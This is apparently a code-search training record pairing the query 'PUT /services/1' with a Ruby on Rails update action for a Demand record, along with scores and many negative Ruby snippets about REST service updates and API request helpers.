[ "0.77775925", "0.7774661", "0.74383265", "0.7387468", "0.72641426", "0.72240984", "0.7216751", "0.708174", "0.6964788", "0.6895161", "0.68837124", "0.68795043", "0.6869667", "0.6818663", "0.6798342", "0.67873055", "0.67873055", "0.67873055", "0.6732333", "0.66650873", "0.664964", "0.66488796", "0.66314816", "0.6568928", "0.6567857", "0.6567857", "0.6567857", "0.6567857", "0.6567857", "0.6567857", "0.6567857", "0.6567857", "0.6567857", "0.6548452", "0.65070647", "0.65036523", "0.650329", "0.65014106", "0.64938676", "0.6493182", "0.6486669", "0.64838564", "0.64602286", "0.6457615", "0.6435576", "0.6395663", "0.6374456", "0.636238", "0.6317423", "0.6313487", "0.6307198", "0.6239874", "0.62310547", "0.6221112", "0.6208294", "0.61938757", "0.618971", "0.6184127", "0.6183498", "0.6154331", "0.61386824", "0.6131766", "0.6131766", "0.6129507", "0.6114351", "0.6113887", "0.6110408", "0.6109218", "0.6101402", "0.6078477", "0.6078075", "0.6074704", "0.6064489", "0.60637593", "0.6059795", "0.6038874", "0.602897", "0.6028394", "0.6020503", "0.6014403", "0.60058266", "0.5996094", "0.59806234", "0.59743613", "0.5974335", "0.59736377", "0.59627867", "0.59619915", "0.59617305", "0.59488136", "0.5941256", "0.59325254", "0.59302044", "0.5923513", "0.5922519", "0.59210485", "0.59197015", "0.5917156", "0.5915794", "0.5910863", "0.5910602" ]
0.0
-1
PUT /services/1 PUT /services/1.json
def update @demand = Demand.find(params[:id]) @demand.user_id = current_user.id @user = User.find(@demand.user_id) respond_to do |format| if @demand.update_attributes(params[:demand]) Notifier.processed_demands(@demand,@user).deliver if Rails.env.production? format.html { redirect_to services_path, notice: '申し込みは正常に処理されました' } format.json { head :ok } else format.html { render action: "edit" } format.json { render json: @demand.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n if @service.update(service_params)\n render json: @service, status: :ok, location: @service\n else\n render json: @service.errors, status: :unprocessable_entity\n end\n end", "def update_service(id, options={})\n self.class.put(\"/services/#{id}.json?apikey=#{apikey}\", :query => {:service => options}, :body => {})\n end", "def reset_services(services=[])\n request :put, '/services', services\n end", "def update\n service.update(service_params)\n\n respond_with(service)\n end", "def update\n @service.update(service_params)\n end", "def update\n @service.update(service_params)\n end", "def update\n service.update_attributes(service_params)\n\n respond_with(service)\n end", "def add_service(service={})\n request :post, '/services', service\n end", "def update_service(service_id, name, description)\n response = @client.post(\"/api/v1/services/#{service_id}\", { \"name\" => name, \"description\" => description })\n return JSON.parse(response.body)\n end", "def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end", "def set_service\n begin\n @service = Service.find(params[:id])\n rescue\n render json: {error: \"Service not found\"}, status: 404\n end\n end", "def update\n @service = Service.find(params[:id])\n\n respond_to do |format|\n if @service.update_attributes(params[:service])\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @service = Service.find(params[:id])\n\n respond_to do |format|\n if @service.update_attributes(params[:service])\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to services_url, notice: 'Serviço cadastrado com sucesso!' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params.except(:counter))\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to services_url, notice: \"Service was successfully updated.\" }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to services_url, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @services = args[:services] if args.key?(:services)\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit, notice: 'Errors uploading the service.' }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @service.update(service_params)\r\n format.html { redirect_to \"/enter/companies/#{@service.company_id}/services/#{@service.id}\",method: :get, notice: 'Service was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @service }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @service.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update_attributes(params[:service])\n format.html { redirect_to service_url(@page, @service), notice: 'Service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to edit_service_path(@service), notice: 'El servicio ha sido actualizado satisfactoriamente.' }\n format.json { render :edit, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @service = Service.find(params[:id])\n\n respond_to do |format|\n if @service.update_attributes(params[:service])\n #format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n\tflash[:notice]= 'Service was successfully updated.'\n\tformat.html { redirect_to action: 'index'}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n remove_extra_value_from_hash(request.params,params[:service][:ccs_service_id])\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to services_path, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_service\r\n @service = Service.find(params[:id])\r\n end", "def update\n @service.update(service_params)\n @service.nombre = @service.nombre.upcase\n @service.tipo = @service.tipo.upcase\n @service.descripcion = @service.descripcion.upcase\n @service.ubicacion = @service.ubicacion.upcase\n respond_to do |format|\n if @service.save\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update_service(service_name, new_value)\n self.services[service_name.to_s] = new_value\n self.update_attribute :services, self.services\n end", "def set_service\r\n @service = Service.find(params[:id])\r\n end", "def set_service\r\n @service = Service.find(params[:id])\r\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def update\n #@service is already loaded and authorized\n\n respond_to do |format|\n @service.user_id = current_user.account_id\n if @service.update_attributes(params[:service])\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n @service = Service.find(params[:id])\n respond_to do |format|\n if @service.update_attributes(service_params)\n format.html { redirect_to @customer, success: 'Service was successfully updated.' }\n format.json { respond_with_bip(@service) }\n else\n format.html { render action: 'edit'}\n format.json { respond_with_bip(@service) }\n end\n end\n end", "def service(id)\n request :get, \"/services/#{id}\"\n end", "def update\n @service = Service.find(params[:id])\n\n respond_to do |format|\n if @service.update_attributes(params[:service])\n format.html { redirect_to [@wedding, @service], notice: 'Service was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def crud_put(resource_name, service_name, primary_key_name, api_options = {})\n api_options = get_defaults(api_options)\n put '/'+resource_name+'/:'+primary_key_name do\n service = settings.send(service_name)\n\n # Must Exist\n return 404 unless service.exists_by_primary_key?(params[primary_key_name.to_sym])\n\n # Get The Data\n begin\n data = JSON.parse(request.body.read)\n rescue Exception => e\n return 422\n end\n\n # Valid Update?\n return 422 unless service.valid_update?(data)\n\n # Do Update\n record = service.update_by_primary_key(params[primary_key_name.to_sym],data)\n\n # Other Error\n return 500 if record.nil?\n\n # Return new Region\n JSON.fast_generate record\n end\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def set_service\n @service = Service.find(params[:id])\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to [:admin,@service], notice: 'ok, Empresa atualizada' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @service = Service.find(params[:id])\n\n respond_to do |format|\n if @service.update_attributes(params[:service])\n flash[:notice] = 'Service was successfully updated.'\n format.html { redirect_to(@service) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @service.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @service = Service.find(params[:id])\n\n respond_to do |format|\n if @service.update_attributes(params[:service])\n flash[:notice] = 'Service was successfully updated.'\n format.html { redirect_to(@service) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @service.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to [current_user,@service], notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_v11_clusters_cluster_name_services_service_name_put_with_http_info(service_name, cluster_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_clusters_cluster_name_services_service_name_put ...\"\n end\n \n # verify the required parameter 'service_name' is set\n fail \"Missing the required parameter 'service_name' when calling api_v11_clusters_cluster_name_services_service_name_put\" if service_name.nil?\n \n # verify the required parameter 'cluster_name' is set\n fail \"Missing the required parameter 'cluster_name' when calling api_v11_clusters_cluster_name_services_service_name_put\" if cluster_name.nil?\n \n # resource path\n path = \"/api/v11/clusters/{clusterName}/services/{serviceName}\".sub('{format}','json').sub('{' + 'serviceName' + '}', service_name.to_s).sub('{' + 'clusterName' + '}', cluster_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_clusters_cluster_name_services_service_name_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n respond_to do |format|\n if @event_service.update_attributes(event_service_params)\n format.html { redirect_to @event_service, notice: 'Event service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event_service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @service.update(service_params)\n redirect_to [@client, @place, @service], notice: 'Service was successfully updated.'\n else\n render :edit\n end\n end", "def update\n respond_to do |format|\n if @idti_service.update(idti_service_params)\n format.html { redirect_to @idti_service, notice: 'Idti service was successfully updated.' }\n format.json { render :show, status: :ok, location: @idti_service }\n else\n format.html { render :edit }\n format.json { render json: @idti_service.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @service = Service.new(service_params)\n if @service.save\n render json: @service, status: :created, location: @service\n else\n render json: @service.errors, status: :unprocessable_entity\n end\n end", "def servicio # :doc\n id = params[:service_id]\n if id.present?\n \t\tService.find(params[:service_id]) \n \tend \n end", "def set_service\n @service = Service.find_by_id(params[:id])\n end", "def set id, service\n @services ||= {}\n @services[id] = service\n end", "def set_service\n @service = @enterprise.services.find(params[:id])\n end", "def update\n respond_to do |format|\n if @service.update_attributes(params[:service])\n flash[:notice] = 'Service was successfully updated.'\n format.html { redirect_to(@service) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @service.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @service_type = ServiceType.find(params[:id])\n\n respond_to do |format|\n if @service_type.update_attributes(params[:service_type])\n format.html { redirect_to @service_type, notice: 'Service type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @service = current_professional_user.services.find(params[:id])\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to meus_servicos_path }\n flash[:success] = 'Serviço atualizado com sucesso!'\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @request_service.update(request_service_params)\n format.html { redirect_to @request_service, notice: 'Request service was successfully updated.' }\n format.json { render :show, status: :ok, location: @request_service }\n else\n format.html { render :edit }\n format.json { render json: @request_service.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @service = @enterprise.services.new(service_params)\n\n respond_to do |format|\n if @service.save\n format.html { redirect_to edit_service_path(@service), notice: 'El servicio ha sido creado satisfactoriamente.' }\n format.json { render :edit, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def addservice\n\n @service = ServiceProvider.find_by(username: params[:serviceprovider][:username]);\n permitted = params[:serviceprovider].permit( :description, :category_id);\n @service.services.create(permitted);\n\n render json: @service\n\n\nend", "def edit_service(id, serviceid, options = nil)\n params = get_service(id, serviceid)\n params.update(options) if options\n post(ROOT_URI + '/a/configureservice', params)\n end", "def edit_service(id, serviceid, options = nil)\n params = get_service(id, serviceid)\n params.update(options) if options\n post(ROOT_URI + '/a/configureservice', params)\n end", "def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to supplier_service_path(@supplier, @service), notice: 'Service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @service = args[:service] if args.key?(:service)\n end", "def update!(**args)\n @service = args[:service] if args.key?(:service)\n end", "def update!(**args)\n @service = args[:service] if args.key?(:service)\n end", "def update_service_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ServiceApi.update_service ...'\n end\n # unbox the parameters from the hash\n service_id = opts[:'service_id']\n # verify the required parameter 'service_id' is set\n if @api_client.config.client_side_validation && service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'service_id' when calling ServiceApi.update_service\"\n end\n # resource path\n local_var_path = '/service/{service_id}'.sub('{' + 'service_id' + '}', CGI.escape(service_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n form_params['comment'] = opts[:'comment'] if !opts[:'comment'].nil?\n form_params['name'] = opts[:'name'] if !opts[:'name'].nil?\n form_params['customer_id'] = opts[:'customer_id'] if !opts[:'customer_id'].nil?\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ServiceResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"ServiceApi.update_service\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServiceApi#update_service\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n respond_to do |format|\n if @contract_service.update(contract_service_params)\n format.html { redirect_to @contract_service, notice: 'Contract service was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_service }\n else\n format.html { render :edit }\n format.json { render json: @contract_service.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @servicetype = Servicetype.find(params[:id])\n\n respond_to do |format|\n if @servicetype.update_attributes(params[:servicetype])\n format.html { redirect_to @servicetype, :notice => 'Servicetype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicetype.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n @service.assign_attributes(service_params.merge({\n current_request: request\n }))\n\n if @service.authenticate and @service.save\n format.html { redirect_to @service, notice: get_update_message('updated') }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.69190645", "0.688255", "0.66448134", "0.6633124", "0.6563937", "0.6563937", "0.64984876", "0.6493746", "0.64487135", "0.6349005", "0.6341838", "0.6330206", "0.6330206", "0.62442744", "0.6220658", "0.618756", "0.61561865", "0.6136029", "0.6125843", "0.61179686", "0.6116355", "0.6114799", "0.6114799", "0.6114799", "0.6114799", "0.6114799", "0.6114799", "0.611429", "0.6090836", "0.6083302", "0.60477096", "0.6033134", "0.5997253", "0.5994323", "0.59821767", "0.5980597", "0.5979351", "0.5979351", "0.5978676", "0.5978676", "0.5978676", "0.5978676", "0.5972876", "0.5968016", "0.59661627", "0.5959295", "0.5926645", "0.5921139", "0.59193605", "0.5911715", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.5909593", "0.59025514", "0.59003127", "0.5899755", "0.58878386", "0.5882505", "0.58749646", "0.5871771", "0.58651984", "0.58259004", "0.581943", "0.5807883", "0.5803294", "0.58022743", "0.5791674", "0.57809764", "0.57807165", "0.57782954", "0.5770825", "0.57635826", "0.5759211", "0.5759211", "0.5756251", "0.57439214", "0.57439214", "0.57439214", "0.57300335", "0.57294214", "0.5718217", "0.57144076" ]
0.0
-1
What all happens? 1. We create the api method which defines: a. URL b. Method (get, post, etc) c. Params d. Headers e. URL Arguments (id, etc)
def before(api_method) api_method.headers.apply({ ruby_version: RUBY_VERSION, api_version: "v0" }) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def method_missing(method_id, *params)\n _request(method_id.to_s.sub('_api', ''), *params)\n end", "def api_request method, params = nil\n\t\t\tconnection = ZenfolioAPI::HTTP.new()\n\t\t\t@response = connection.POST(method, params, @auth.token)\n\t\tend", "def http_parse_args\n [(self.api.base_url + self.method), self.params]\n end", "def make_request url, parameters={}, method=:get, settings={}\n raise 'not implemented'\n end", "def build_request(method); end", "def raw_api(method,params=nil)\n debug(6,:var=>method,:msg=>\"method\")\n debug(6,:var=>params,:msg=>\"Parameters\")\n\n checkauth\n checkversion(1,1)\n params={} if params==nil\n obj=do_request(json_obj(method,params))\n return obj['result']\n end", "def request(type, id=\"\", params=\"\")\n id = id.to_s\n params = params.to_s\n api_path = case type\n when \"orders\"\n \"/api/v2/orders?\"\n when \"order_metadata\"\n raise \"ID required\" if id.empty?\n \"/api/v2/orders/#{id}?\"\n when \"shop_metadata\"\n raise \"ID required\" if id.empty?\n \"/api/v2/shop/#{id}?\"\n end\n api_path.chop! if params.empty?\n\n response = HTTParty.get(\n @domain + api_path + params, \n basic_auth: @auth\n )\n response_valid?(response)\n response\nend", "def api; end", "def api; end", "def build_request(method, resource = nil, id = nil, body =nil, query = {})\n\n url = self.endpoint\n url += \"/\" + resource unless resource.nil? || resource == \"parent_page\"\n if resource == \"exhibit_pages\"\n \turl += \"?exhibit=\" + id.to_s unless id.nil?\n elsif resource == \"parent_page\"\n \turl += \"/exhibit_pages/\" + id.to_s\n elsif resource == \"files?item\"\n \turl += \"=\" + id.to_s unless id.nil?\n else\n \turl += \"/\" + id.to_s unless id.nil?\n end\n \tquery[:key] = self.api_key unless self.api_key.nil?\n\n case method\n when \"get\"\n self.connection.get(url, :params => query)\n end\n\n end", "def json_api_request(request_method, action, parameters = {}, session = nil, flash = nil)\n @request.headers['ACCEPT'] = 'application/vnd.api+json'\n @request.headers['CONTENT_TYPE'] = 'application/vnd.api+json'\n extra_headers = parameters[:headers] || {}\n extra_headers.each do |key, value|\n @request.headers[key] = value\n end\n parameters.delete :headers\n parameters[:format] = :json_api unless parameters&.key? :format\n __send__(request_method, action, params: parameters, session: session, flash: flash)\nend", "def request(method, path, params)\n response = connection.send(method) do |request|\n case method\n when :get\n request.url(path, params)\n when :put\n params.merge!({\"_method\" => 'put'})\n request.url(path,params)\n when :post\n request.url(path)\n request.body = params\n when :delete\n params.merge!({\"_method\" => 'delete'})\n request.url(path, params)\n end\n end\n \n Response.create(response.body)\n end", "def apis; end", "def APICall params = {}\n \n path = params[:path]\n method = params[:method] || 'GET'\n payload = params[:payload] || nil\n \n params.delete(:method)\n params.delete(:path)\n params.delete(:payload)\n \n a = Time.now.to_f\n \n http = Net::HTTP.new(@infra[:domain]+'.zendesk.com',443)\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.use_ssl = true\n \n uri = %{#{@infra[:path]}#{path}}\n uri << '?'+params.map{ |key,val| \"#{key}=#{val}\" }.join('&') if params && params.count > 0\n uri = URI.escape uri\n \n reqs = {\n 'GET' => Net::HTTP::Get.new(uri),\n 'POST' => Net::HTTP::Post.new(uri),\n 'PUT' => Net::HTTP::Put.new(uri),\n 'DELETE' => Net::HTTP::Delete.new(uri)\n }\n req = reqs[method]\n \n content_type = 'application/json'\n content_type = 'application/binary' if path.include? 'uploads'\n req.content_type = content_type\n \n req.basic_auth @username,@infra[:authentication]\n \n req.body = payload if method == 'POST' || method == 'PUT'\n \n response = http.request req\n \n code = response.code.to_f.round\n body = response.body\n \n b = Time.now.to_f\n c = ((b-a)*100).round.to_f/100\n \n final = {code: code.to_i,body: nil}\n final = final.merge(body: JSON.parse(body)) if method != 'DELETE' && code != 500\n final = final.merge(time: c)\n \n @api += 1\n \n final\n \n end", "def method_request( method, params )\n #merge auth params into our request querystring\n querystring = @auth.merge( params.is_a?(Hash) ? params : {} )\n resp = self.class.get(\"/#{@data_type}/#{method.to_s}\",{:query => querystring})\n if resp['error'] \n raise RuntimeError, resp['error']['error_message'], caller[1..-1]\n end\n return resp\n end", "def request(*args); end", "def http; end", "def http(method, url, options = {}, &block)\n case method.to_s.downcase\n when *%w(get put head post delete options patch)\n send method, url, options, &block\n else\n raise \"Invalid method: #{method}\"\n end\n end", "def method_missing(method_id, params = {})\n request(method_id.id2name.gsub(/_/, '.'), params)\n end", "def perform(arguments = {})\n case type.to_sym\n when :post, :get\n api.public_send(type, path, @arguments.merge(arguments))\n else\n raise ArgumentError, \"Unregistered request type #{request_type}\"\n end\n end", "def method_missing(method, *args)\n api_method = map[method.to_s]\n args = args.last.is_a?(Hash) ? args.last : {} # basically #extract_options!\n methods_or_resources = api_method['methods'] || api_method['resources']\n if methods_or_resources\n API.new(access_token, api, methods_or_resources)\n else\n url, options = build_url(api_method, args)\n\n raise ArgumentError, \":body parameter was not passed\" if !options[:body] && %w(POST PUT PATCH).include?(api_method['httpMethod'])\n\n send(api_method['mediaUpload'] && args[:media] ? :upload : :request, api_method['httpMethod'].downcase, url, options)\n end\n end", "def make_request(method, path, params = {}, headers = {})\n if [:post, :put, :patch].include?(method) \n send(method) do |r|\n r.headers.merge!(headers)\n r.url path\n r.body = params.delete(:body).to_json\n end\n else\n send(method, path, params, headers)\n end\n end", "def method_missing(name, *args, &_block)\n # Capture the version\n if name.to_s == 'version'\n @version = args[0]\n return _\n end\n # We have reached the end of the method chain, make the API call\n return build_request(name, args) if @methods.include?(name.to_s)\n\n # Add a segment to the URL\n _(name)\n end", "def api_url_method\n if params[:public_api_request]\n method(:content_item_api_url)\n else\n method(:content_item_url)\n end\n end", "def method_missing(method_name, *args)\n payload = Kauplus::Client.authenticate_payload(args.first)\n if method_name.match(/(get|post|multipart_post|put|delete|head)_(.*)/)\n Kauplus::Client.send($1, \"#{@resource}/#{$2}\", payload)\n else\n Kauplus::Client.get(\"#{@resource}/#{method_name}\", payload)\n end\n end", "def request(api_method, params = {}, request_method = :get)\n self.params = params.merge(method: api_method, format: 'json')\n self.request_method = request_method\n self.header = new_header\n self.typhoeus_request = new_typhoeus_request\n self.response = typhoeus_request.run\n self.body = Oj.load(response.body, OJ_OPTIONS)\n check_response!\n body\n end", "def call(_method, _path, params = {})\n puts \"Aici?\"\n begin\n #path = \"https://login-test03.cloud.xirrus.com/api/v2#{_path}\"\n\n path = \"#{@xms_url}/api/v2#{_path}\"\n puts \"PATH = #{path}\"\n if (_method == :get || _method == :get_string || _method == :get_csv || _method == :get_csv_all_radios || _method == :put_with_query_params || _method == :post_with_query_params)\n query = build_query(params)\n path += \"?#{query}\"\n # Escape if anu spaces in url\n path = URI.escape(path)\n end\n success = false\n case _method\n\n when :get\n puts \"#{token}\"\n response_json_string = RestClient.get( path, :authorization => \"Bearer #{token}\",\n\n :format => :json,\n\n :content_type => :json,\n\n :accept => :json\n ) # RestClient get\n\n when :post\n\n response_json_string = RestClient.post( path , params.to_json , :authorization => 